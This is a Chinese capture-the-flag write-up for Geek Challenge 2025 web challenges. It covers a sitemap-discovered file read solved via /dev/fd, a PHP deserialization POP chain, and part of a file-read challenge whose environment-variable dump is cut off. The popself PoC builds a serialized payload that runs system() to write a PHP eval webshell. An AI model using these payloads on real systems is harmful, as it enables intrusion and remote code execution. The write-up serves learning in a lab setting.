极客大挑战2025

  1. 极客大挑战2025
  2. WEB
    1. Vibe SEO
    2. popself
    3. ez_read
    4. Expression
    5. Xross The Finish Line
    6. 路在脚下
    7. Image Viewer
    8. PDF Viewer
    9. Sequal No
    10. eeeeezzzzzzZip
    11. ezjdbc
    12. 7777 time task

极客大挑战2025

虽然是新生赛,但是还是有些之前没见过的新内容以及没做出来的题,还是写一下wp吧。

WEB

Vibe SEO

首先看到题目简介有提示

1
"我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了"

打开环境,发现是一个动画效果的网页,但是没有任何内容。

根据提示尝试各种常见的站点地图

1
2
3
4
5
6
7
8
常见位置

搜索引擎会检查这些位置:
https://example.com/sitemap.xml
https://example.com/sitemap_index.xml
https://example.com/sitemap/
https://example.com/sitemap.txt
robots.txt 中指定的位置

发现url/sitemap.xml有回显。

1
2
3
4
5
6
7
8
9
10
11
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>

得到隐藏的php文件名。aa__^^.php。转入这个php文件,发现报错信息。

1
2
3
4
5
6
7
8
9
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3

Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/aa__^^.php on line 3

Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 4

Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/aa__^^.php on line 4

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in /var/www/html/aa__^^.php on line 4

这个报错信息表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3
意思:在第3行代码中,尝试访问 $_GET 数组中不存在的 filename 键。
原因:URL 中没有提供 ?filename=... 参数。
2. Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/aa__^^.php on line 3

意思:将 null 值传递给 strlen() 函数已被弃用。
原因:由于 $_GET['filename'] 不存在,其值为 null,然后直接传给 strlen(null),在 PHP 8.1+ 中这会触发弃用警告。
3. Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 4

意思:在第4行代码中,再次尝试访问不存在的 $_GET['filename']。
原因:同一问题在不同行的重复警告。
4. Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/aa__^^.php on line 4

意思:将 null 值传递给 readfile() 函数已被弃用。
原因:readfile($_GET['filename']) 中的 $_GET['filename'] 为 null,在 PHP 8.1+ 中这会触发弃用警告。
5. Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php on line 4

意思:致命错误 - 路径不能为空,未被捕获的 ValueError 异常。
原因:readfile('') 试图读取空路径的文件,在 PHP 8.0+ 中这会抛出 ValueError 异常,导致脚本终止执行。

报错的原因就是没有提供filename参数,并且这里存在文件读取readflag函数,我们尝试读取一下这个php文件的源码

1
aa__%5E%5E.php?filename=aa__^^.php

然后查看网页源代码得到源码:

1
2
3
4
5
6
7
8
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

可以看到flag在/my_secret.txt文件中,然后这里的文件读取存在长度限制。

如果我们直接传入/my_secret.txt长度超过了10,无法成功读取。

这里可以利用Linux 文件描述符 和 PHP 文件操作的特性来读取文件

  • 这里就需要引入一个类Unix系统中的一个特殊目录,/dev/fd,全称是 “file descriptors”(文件描述符),它提供了一种通过文件系统路径访问进程已打开文件的方式。

    每个运行中的进程都会维护一个文件描述符表(file descriptor table),其中记录了该进程当前打开的所有文件(包括普通文件、管道、网络连接、终端等),每个文件对应一个非负整数(如 0、1、2 等,称为文件描述符)。

    /dev/fd 目录中会动态生成以这些文件描述符数字命名的特殊文件(如/dev/fd/0、/dev/fd/1、/dev/fd/2),通过访问这些路径,就可以间接操作进程已打开的对应文件。

    进程启动时默认打开 3 个文件描述符,对应 /dev/fd 中的固定路径:

    •/dev/fd/0:标准输入(stdin),通常对应终端的输入(如键盘)。

    •/dev/fd/1:标准输出(stdout),通常对应终端的输出(如屏幕)。

    •/dev/fd/2:标准错误(stderr),通常对应终端的错误输出。

    fopen会创建文件描述符,所以my_secret.txt会有一个文件描述符。那么就可以通过/dev/fd/*访问到

还有php://fd/3,这是php层面上的文件描述符

代码中的关键行:

1
$flag = fopen('/my_secret.txt', 'r');

这里打开了/my_secret.txt文件,然后返回一个文件句柄存储在 $flag 变量中,在操作系统层面,分配了一个文件描述符(比如 fd 13),fopen 打开的文件在脚本执行期间保持打开状态,即使代码中没有使用 $flag 变量,文件仍然处于打开状态,直到脚本结束或显式调用 fclose() 才会关闭,并且这个文件描述符是指向目标文件的

所以我们可以使用bp来爆破这个文件描述符。最后爆破得到这个数字编号为13

利用文件描述符读取/my_secret.txt,得到flag

1
aa__%5E%5E.php?filename=/dev/fd/13

popself

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

?> 没有大家的压缩包的话,瓦达西!

一个很经典的反序列化。

可以很快写出调用链。

1
All_in_one::__destruct() -> All_in_one::__set() -> All_in_one::__call() -> All_in_one::__tostring() -> All_in_one::__invoke() -> $f($arg);

调用链很简单,接着就是绕过了。

首先是参数绕过,用左括号传参即可

1
2
3
$payload = $_GET["24_SYC.zip"];

24[SYC.zip

然后就是destruct里的if判断的绕过

1
2
3
4
5
6
7
8
9
10
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}

这里要绕过md5强比较和弱比较,需要变量KiraKiraAyu在双重md5加密后与变量K4per md5加密后的值强比较为0,并且弱比较为1。

这里很明显要用0e绕过,但是之前没有遇到过这种双重md5加密后还是0e结构的字符串,并且0e后面只允许是纯数字。

尝试爆破数字,写一个爆破脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// 查找数字,使得两次MD5后是0e开头且后面只有纯数字
echo "正在查找双重MD5为0e+纯数字的数字...\n";

$found = false;
$start_time = time();
$count = 0;

// 扩大搜索范围
for($i = 0; $i <= 1000000000000; $i++) {
$first_md5 = md5((string)$i);
$second_md5 = md5($first_md5);

// 检查第二次MD5是否以0e开头且后面只有纯数字
if (substr($second_md5, 0, 2) === "0e") {
$remaining = substr($second_md5, 2);
if (ctype_digit($remaining)) { // 确保后面只有数字
echo "🎉 找到啦! i = $i\n";
echo "第一次MD5: $first_md5\n";
echo "第二次MD5: $second_md5\n";

// 验证弱类型比较
if ($second_md5 == 0) {
echo "弱类型比较: '$second_md5' == 0 ✓\n";
}

$found = true;
$count++;

// 保存到文件
file_put_contents("found_values.txt", "i=$i, double_md5=$second_md5\n", FILE_APPEND);

// 如果想找多个就继续,否则break
if ($count >= 5) break;
}
}

// 进度显示
if ($i % 1000000 == 0) {
echo "已搜索: $i, 找到: $count 个\n";
}
}

if (!$found) {
echo "在0-50000000范围内没有找到符合条件的数字\n";
} else {
echo "总共找到: $count 个数字\n";
}

echo "搜索耗时: " . (time() - $start_time) . " 秒\n";
?>

找到两个数字符合这个情况

1
2
179122048
421525751

所以变量KiraKiraAyu和K4per的值就搞定了(K4per直接用经典的240610708)

然后我们需要绕过set中的if语句

1
2
3
4
5
6
7
8
$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}

这里要绕过这个if有两个条件

  1. !($fox instanceof All_in_one) - Fox 不是 All_in_one 的实例
  2. $fox() === "summer" - Fox 可调用且返回 “summer”

这里可以使用数组调用静态方法来绕过

在php中存在这样的语法

1
2
3
4
5
6
7
8
class summer {
public static function find_myself() {
return "summer";
}
}

$a = array("summer","find_myself");
echo $a();

可以用数组来直接调用类中的静态方法。

所以这样就能绕过

1
$a->QYQS->Fox = array("summer","find_myself");

然后就是最后一个绕过

1
2
3
4
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}

要求长度不能超过4,并且+1之后要大于10000,直接使用科学计数法绕过

1
$a->QYQS->L = "1e4";

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class All_in_one {
public $KiraKiraAyu;
public $K4per;
public $QYQS;
public $Fox;
public $komiko;
public $L; // 科学计数法:长度3,数值9000000000
public $sleep3r;
public $_4ak5ra;
public $Samsāra;
public $ivory;
}

// 简单的可调用对象
class summer {
public static function find_myself() {
return "summer";
}
}

$a= new All_in_one();
$a->KiraKiraAyu = "179122048";
$a->K4per = "240610708";



$a->QYQS = new All_in_one();
$a->QYQS->Fox = array("summer","find_myself");



$a->QYQS->sleep3r = new All_in_one();
$a->QYQS->L = "1e4";
$a->QYQS->komiko = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->Samsāra = "system";
$a->QYQS->sleep3r->_4ak5ra->ivory = "echo '<?php @eval(\$_POST[1]);?>' > 1.php";




echo urlencode(serialize($a));
?>

写入一句话木马,然后执行phpinfo(),得到flag


ez_read

打开后发现是个注册登录界面,随便注册一个号登录,进去发现有文件读取。

读取环境变量

1
CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_SERVICE_PORT=8080CHALLENGE_019A14B0_CA72_019A11B1_493A_PORT_80_TCP=tcp://10.99.99.97:80CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_PORT=tcp://10.111.90.58:8080CHALLENGE_019A2B37_D8ED_019A9613_701A_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A18EF_52D3_PORT_3000_TCP=tcp://10.97.199.254:3000KUBERNETES_SERVICE_PORT=443CHALLENGE_019A2F96_3005_019A1196_988B_SERVICE_PORT_PORT_80=80KUBERNETES_PORT=tcp://10.96.0.1:443CHALLENGE_019A10D0_2FA4_019A18EF_52D3_SERVICE_HOST=10.97.199.254CHALLENGE_019A14B0_82BF_019A1190_CEE3_SERVICE_HOST=10.98.186.115CHALLENGE_019A7398_ED48_019A1162_6293_SERVICE_HOST=10.104.221.55CHALLENGE_019A530C_9ED2_019A20C9_35F3_PORT=tcp://10.109.72.231:8000CHALLENGE_019A5820_F69E_019A1499_329F_SERVICE_PORT_PORT_5000=5000CHALLENGE_019A530C_9ED2_019A20C9_35F3_SERVICE_PORT=8000CHALLENGE_019A530C_9ED2_019A20C5_9E59_SERVICE_HOST=10.108.254.186CHALLENGE_019A14B0_CA72_019A1190_CEE3_SERVICE_PORT=80CHALLENGE_019A2B37_D8ED_019A9613_701A_PORT=tcp://10.96.11.188:8080CHALLENGE_019A2B37_D8ED_019A9613_701A_SERVICE_PORT=8080CHALLENGE_019A14B0_82BF_019A1190_CEE3_SERVICE_PORT_PORT_80=80CHALLENGE_019A531B_8F6D_019A1162_6293_PORT_1337_TCP_ADDR=10.98.91.132CHALLENGE_019A14B0_CA72_019A1190_CEE3_PORT=tcp://10.100.21.183:80HOSTNAME=challenge-019a2b37-d8ed-019a9613-701a-767c84779f-r6hvbCHALLENGE_019A531B_8F6D_019A1162_6293_SERVICE_HOST=10.98.91.132CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_PORT_8080_TCP=tcp://10.111.90.58:8080CHALLENGE_019A2B37_D8ED_019A72A1_3788_SERVICE_HOST=10.101.50.244CHALLENGE_019A14B0_82BF_019A5E28_6651_PORT_80_TCP=tcp://10.111.45.188:80CHALLENGE_019A2B37_D8ED_019A72A1_3788_PORT_8080_TCP_ADDR=10.101.50.244CHALLENGE_019A2A57_B142_019A6D63_4E2E_PORT_80_TCP_ADDR=10.108.142.169CHALLENGE_019A7612_86C2_019A20C9_35F3_PORT_3000_TCP=tcp://10.99.137.162:3000CHALLENGE_019A5819_9620_019A15E8_AE0D_PORT_9999_TCP_ADDR=10.96.132.243CHALLENGE_019A7612_86C2_019A20C9_35F3_SERVICE_HOST=10.99.137.162CHALLENGE_019A09FC_908C_019AA131_E61B_PORT_3000_TCP=tcp://10.110.140.15:3000CHALLENGE_019A2F96_3005_019A1196_988B_PORT=tcp://10.109.94.187:80CHALLENGE_019A2F96_3005_019A1196_988B_SERVICE_PORT=80CHALLENGE_019A7398_ED48_019A1162_6293_PORT_8000_TCP=tcp://10.104.221.55:8000CHALLENGE_019A530C_9ED2_019A20C5_9E59_PORT_8000_TCP=tcp://10.108.254.186:8000CHALLENGE_019A531B_8F6D_019A1162_6293_PORT_1337_TCP_PORT=1337OLDPWD=/opt/___web_very_strange_42___CHALLENGE_019A09FC_908C_019AA131_E61B_SERVICE_HOST=10.110.140.15CHALLENGE_019A531B_8F6D_019A1162_6293_PORT_1337_TCP_PROTO=tcpCHALLENGE_019A01F3_1DAB_019A1159_B729_PORT_9999_TCP_ADDR=10.98.69.134CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_SERVICE_PORT_PORT_3000=3000PYTHONUNBUFFERED=1CHALLENGE_019A2A57_B142_019A6D63_4E2E_PORT_80_TCP_PORT=80CHALLENGE_019A14B0_82BF_019A1190_CEE3_PORT=tcp://10.98.186.115:80CHALLENGE_019A2B37_D8ED_019A72A1_3788_PORT_8080_TCP_PORT=8080CHALLENGE_019A2B37_D8ED_019A9613_701A_PORT_8080_TCP=tcp://10.96.11.188:8080CHALLENGE_019A10D0_2FA4_019A18EF_52D3_SERVICE_PORT=3000CHALLENGE_019A14B0_82BF_019A1190_CEE3_SERVICE_PORT=80CHALLENGE_019A10D0_2FA4_019A18EF_52D3_PORT=tcp://10.97.199.254:3000GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DCHALLENGE_019A5819_9620_019A15E8_AE0D_PORT_9999_TCP_PORT=9999CHALLENGE_019A531B_8F6D_019A15BB_D5C0_SERVICE_PORT_PORT_1337=1337CHALLENGE_019A7398_ED48_019A1162_6293_PORT=tcp://10.104.221.55:8000CHALLENGE_019A2A57_B142_019A6D63_4E2E_PORT_80_TCP_PROTO=tcpCHALLENGE_019A14B0_CA72_019A1190_CEE3_PORT_80_TCP_ADDR=10.100.21.183CHALLENGE_019A2B37_D8ED_019A72A1_3788_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A530C_9ED2_019A20C5_9E59_SERVICE_PORT=8000CHALLENGE_019A530C_9ED2_019A20C5_9E59_PORT=tcp://10.108.254.186:8000CHALLENGE_019A7398_ED48_019A1162_6293_SERVICE_PORT=8000CHALLENGE_019A0B81_40FF_019A14BA_6ADB_PORT_9999_TCP_ADDR=10.99.232.221CHALLENGE_019A5819_9620_019A15E8_AE0D_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A1374_D56D_019A7381_1057_PORT_9999_TCP_ADDR=10.107.214.69CHALLENGE_019A01F3_1DAB_019A1159_B729_PORT_9999_TCP_PORT=9999CHALLENGE_019A39FF_DB7B_019A10F5_A93D_SERVICE_HOST=10.99.122.166PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78CHALLENGE_019A01F3_1DAB_019A1159_B729_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A01CB_BF3C_019A2560_9CE8_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A7612_96BB_019A16A8_552D_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A2F96_3005_019A1196_988B_PORT_80_TCP_ADDR=10.109.94.187CHALLENGE_019A14B0_CA72_019A1190_CEE3_PORT_80_TCP_PORT=80CHALLENGE_019A531B_8F6D_019A1162_6293_SERVICE_PORT=1337CHALLENGE_019A2B37_D8ED_019A72A1_3788_SERVICE_PORT=8080CHALLENGE_019A531B_8F6D_019A1162_6293_PORT=tcp://10.98.91.132:1337CHALLENGE_019A2B37_D8ED_019A72A1_3788_PORT=tcp://10.101.50.244:8080CHALLENGE_019A39FF_DB7B_019A10F5_A93D_SERVICE_PORT_PORT_80=80CHALLENGE_019A7612_86C2_019A20C9_35F3_PORT=tcp://10.99.137.162:3000CHALLENGE_019A0B81_40FF_019A14BA_6ADB_PORT_9999_TCP_PORT=9999CHALLENGE_019A14B0_CA72_019A1190_CEE3_PORT_80_TCP_PROTO=tcpCHALLENGE_019A1374_D56D_019A7381_1057_PORT_9999_TCP_PORT=9999CHALLENGE_019A5820_F69E_019A1499_329F_PORT_5000_TCP_ADDR=10.108.148.153CHALLENGE_019A7612_86C2_019A20C9_35F3_SERVICE_PORT=3000CHALLENGE_019A09FC_908C_019AA131_E61B_PORT=tcp://10.110.140.15:3000CHALLENGE_019A0B81_40FF_019A14BA_6ADB_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A14B0_82BF_019A1190_CEE3_PORT_80_TCP_ADDR=10.98.186.115CHALLENGE_019A1374_D56D_019A7381_1057_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A09FC_908C_019AA131_E61B_SERVICE_PORT=3000CHALLENGE_019A14B0_CA72_019A11B1_493A_SERVICE_HOST=10.99.99.97PYTHONDONTWRITEBYTECODE=1CHALLENGE_019A531B_8F6D_019A1162_6293_PORT_1337_TCP=tcp://10.98.91.132:1337CHALLENGE_019A530C_9ED2_019A20C9_35F3_SERVICE_PORT_PORT_8000=8000CHALLENGE_019A2F96_3005_019A1196_988B_PORT_80_TCP_PORT=80HINT=用我提个权吧CHALLENGE_019A2F96_3005_019A1196_988B_PORT_80_TCP_PROTO=tcpCHALLENGE_019A14B0_CA72_019A11B1_493A_SERVICE_PORT_PORT_80=80CHALLENGE_019A10D0_2FA4_019A18EF_52D3_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A5820_F69E_019A1499_329F_PORT_5000_TCP_PORT=5000CHALLENGE_019A5820_F69E_019A1499_329F_PORT_5000_TCP_PROTO=tcpCHALLENGE_019A39FF_DB7B_019A10F5_A93D_PORT=tcp://10.99.122.166:80CHALLENGE_019A39FF_DB7B_019A10F5_A93D_SERVICE_PORT=80CHALLENGE_019A2B37_D8ED_019A72A1_3788_PORT_8080_TCP=tcp://10.101.50.244:8080CHALLENGE_019A14B0_82BF_019A1190_CEE3_PORT_80_TCP_PORT=80CHALLENGE_019A2A57_B142_019A6D63_4E2E_PORT_80_TCP=tcp://10.108.142.169:80CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_PORT_3000_TCP_ADDR=10.106.113.26CHALLENGE_019A5819_9620_019A15E8_AE0D_PORT_9999_TCP=tcp://10.96.132.243:9999CHALLENGE_019A14B0_82BF_019A1190_CEE3_PORT_80_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_ADDR=10.96.0.1CHALLENGE_019A14B0_82BF_019A5E28_6651_SERVICE_HOST=10.111.45.188CHALLENGE_019A01F3_1DAB_019A1159_B729_PORT_9999_TCP=tcp://10.98.69.134:9999CHALLENGE_019A531B_8F6D_019A15BB_D5C0_PORT_1337_TCP_ADDR=10.107.52.22PATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCHALLENGE_019A4F0F_6B59_019A15E8_AE0D_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A7612_86C2_019A20C9_35F3_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A14B0_CA72_019A11B1_493A_PORT=tcp://10.99.99.97:80CHALLENGE_019A14B0_82BF_019A5E28_6651_SERVICE_PORT_PORT_80=80CHALLENGE_019A14B0_CA72_019A1190_CEE3_PORT_80_TCP=tcp://10.100.21.183:80CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_PORT_3000_TCP_PORT=3000CHALLENGE_019A14B0_CA72_019A11B1_493A_SERVICE_PORT=80CHALLENGE_019A09FC_908C_019AA131_E61B_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A531B_8F6D_019A15BB_D5C0_SERVICE_HOST=10.107.52.22CHALLENGE_019A530C_9ED2_019A20C5_9E59_SERVICE_PORT_PORT_8000=8000CHALLENGE_019A1374_D56D_019A7381_1057_PORT_9999_TCP=tcp://10.107.214.69:9999CHALLENGE_019A0B81_40FF_019A14BA_6ADB_PORT_9999_TCP=tcp://10.99.232.221:9999CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A7398_ED48_019A1162_6293_SERVICE_PORT_PORT_8000=8000KUBERNETES_PORT_443_TCP_PORT=443CHALLENGE_019A39FF_DB7B_019A10F5_A93D_PORT_80_TCP_ADDR=10.99.122.166CHALLENGE_019A01CB_BF3C_019A2560_9CE8_PORT_8080_TCP_ADDR=10.107.158.3CHALLENGE_019A7612_96BB_019A16A8_552D_SERVICE_HOST=10.104.57.109CHALLENGE_019A531B_8F6D_019A15BB_D5C0_PORT_1337_TCP_PORT=1337CHALLENGE_019A7612_96BB_019A16A8_552D_PORT_8080_TCP_ADDR=10.104.57.109KUBERNETES_PORT_443_TCP_PROTO=tcpCHALLENGE_019A01CB_BF3C_019A2560_9CE8_SERVICE_HOST=10.107.158.3LANG=C.UTF-8CHALLENGE_019A5820_F69E_019A1499_329F_SERVICE_HOST=10.108.148.153CHALLENGE_019A2F96_3005_019A1196_988B_PORT_80_TCP=tcp://10.109.94.187:80CHALLENGE_019A2B37_D8ED_019A9613_701A_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A531B_8F6D_019A15BB_D5C0_PORT_1337_TCP_PROTO=tcpCHALLENGE_019A5819_9620_019A15E8_AE0D_SERVICE_HOST=10.96.132.243CHALLENGE_019A5820_F69E_019A1499_329F_PORT_5000_TCP=tcp://10.108.148.153:5000CHALLENGE_019A14B0_82BF_019A1190_CEE3_PORT_80_TCP=tcp://10.98.186.115:80CHALLENGE_019A01F3_1DAB_019A1159_B729_SERVICE_HOST=10.98.69.134CHALLENGE_019A530C_9ED2_019A20C9_35F3_PORT_8000_TCP_ADDR=10.109.72.231CHALLENGE_019A14B0_82BF_019A5E28_6651_PORT=tcp://10.111.45.188:80CHALLENGE_019A01CB_BF3C_019A2560_9CE8_PORT_8080_TCP_PORT=8080CHALLENGE_019A14B0_82BF_019A5E28_6651_SERVICE_PORT=80CHALLENGE_019A39FF_DB7B_019A10F5_A93D_PORT_80_TCP_PORT=80CHALLENGE_019A7612_96BB_019A16A8_552D_PORT_8080_TCP_PORT=8080CHALLENGE_019A10D0_2FA4_019A18EF_52D3_PORT_3000_TCP_ADDR=10.97.199.254CHALLENGE_019A7612_96BB_019A16A8_552D_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A14B0_CA72_019A11B1_493A_PORT_80_TCP_ADDR=10.99.99.97CHALLENGE_019A39FF_DB7B_019A10F5_A93D_PORT_80_TCP_PROTO=tcpCHALLENGE_019A01CB_BF3C_019A2560_9CE8_PORT_8080_TCP_PROTO=tcpPYTHON_VERSION=3.11.14CHALLENGE_019A531B_8F6D_019A15BB_D5C0_SERVICE_PORT=1337CHALLENGE_019A0B81_40FF_019A14BA_6ADB_SERVICE_HOST=10.99.232.221CHALLENGE_019A1374_D56D_019A7381_1057_SERVICE_HOST=10.107.214.69CHALLENGE_019A530C_9ED2_019A20C9_35F3_PORT_8000_TCP_PORT=8000CHALLENGE_019A531B_8F6D_019A15BB_D5C0_PORT=tcp://10.107.52.22:1337CHALLENGE_019A7612_96BB_019A16A8_552D_PORT=tcp://10.104.57.109:8080CHALLENGE_019A530C_9ED2_019A20C9_35F3_PORT_8000_TCP_PROTO=tcpCHALLENGE_019A7612_96BB_019A16A8_552D_SERVICE_PORT=8080CHALLENGE_019A14B0_CA72_019A11B1_493A_PORT_80_TCP_PORT=80CHALLENGE_019A01CB_BF3C_019A2560_9CE8_PORT=tcp://10.107.158.3:8080CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_PORT_3000_TCP=tcp://10.106.113.26:3000CHALLENGE_019A01CB_BF3C_019A2560_9CE8_SERVICE_PORT=8080CHALLENGE_019A10D0_2FA4_019A18EF_52D3_PORT_3000_TCP_PORT=3000CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_SERVICE_HOST=10.106.113.26CHALLENGE_019A14B0_CA72_019A11B1_493A_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2A57_B142_019A6D63_4E2E_SERVICE_HOST=10.108.142.169CHALLENGE_019A531B_8F6D_019A1162_6293_SERVICE_PORT_PORT_1337=1337CHALLENGE_019A5820_F69E_019A1499_329F_SERVICE_PORT=5000CHALLENGE_019A5820_F69E_019A1499_329F_PORT=tcp://10.108.148.153:5000CHALLENGE_019A10D0_2FA4_019A18EF_52D3_PORT_3000_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443KUBERNETES_SERVICE_PORT_HTTPS=443CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_PORT_8080_TCP_ADDR=10.111.90.58CHALLENGE_019A5819_9620_019A15E8_AE0D_SERVICE_PORT=9999CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_SERVICE_HOST=10.111.90.58CHALLENGE_019A7612_86C2_019A20C9_35F3_PORT_3000_TCP_ADDR=10.99.137.162CHALLENGE_019A531B_8F6D_019A15BB_D5C0_PORT_1337_TCP=tcp://10.107.52.22:1337CHALLENGE_019A14B0_82BF_019A5E28_6651_PORT_80_TCP_ADDR=10.111.45.188CHALLENGE_019A5819_9620_019A15E8_AE0D_PORT=tcp://10.96.132.243:9999CHALLENGE_019A530C_9ED2_019A20C5_9E59_PORT_8000_TCP_ADDR=10.108.254.186CHALLENGE_019A09FC_908C_019AA131_E61B_PORT_3000_TCP_ADDR=10.110.140.15CHALLENGE_019A2B37_D8ED_019A72A1_3788_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A2A57_B142_019A6D63_4E2E_SERVICE_PORT_PORT_80=80CHALLENGE_019A01F3_1DAB_019A1159_B729_PORT=tcp://10.98.69.134:9999KUBERNETES_SERVICE_HOST=10.96.0.1CHALLENGE_019A7398_ED48_019A1162_6293_PORT_8000_TCP_ADDR=10.104.221.55CHALLENGE_019A01F3_1DAB_019A1159_B729_SERVICE_PORT=9999PWD=/opt/___web_very_strange_42___CHALLENGE_019A530C_9ED2_019A20C9_35F3_SERVICE_HOST=10.109.72.231CHALLENGE_019A5819_9620_019A15E8_AE0D_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_PORT_8080_TCP_PORT=8080CHALLENGE_019A7612_86C2_019A20C9_35F3_PORT_3000_TCP_PORT=3000CHALLENGE_019A14B0_CA72_019A1190_CEE3_SERVICE_HOST=10.100.21.183CHALLENGE_019A01F3_1DAB_019A1159_B729_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A2B37_D8ED_019A9613_701A_PORT_8080_TCP_ADDR=10.96.11.188CHALLENGE_019A01CB_BF3C_019A2560_9CE8_PORT_8080_TCP=tcp://10.107.158.3:8080CHALLENGE_019A39FF_DB7B_019A10F5_A93D_PORT_80_TCP=tcp://10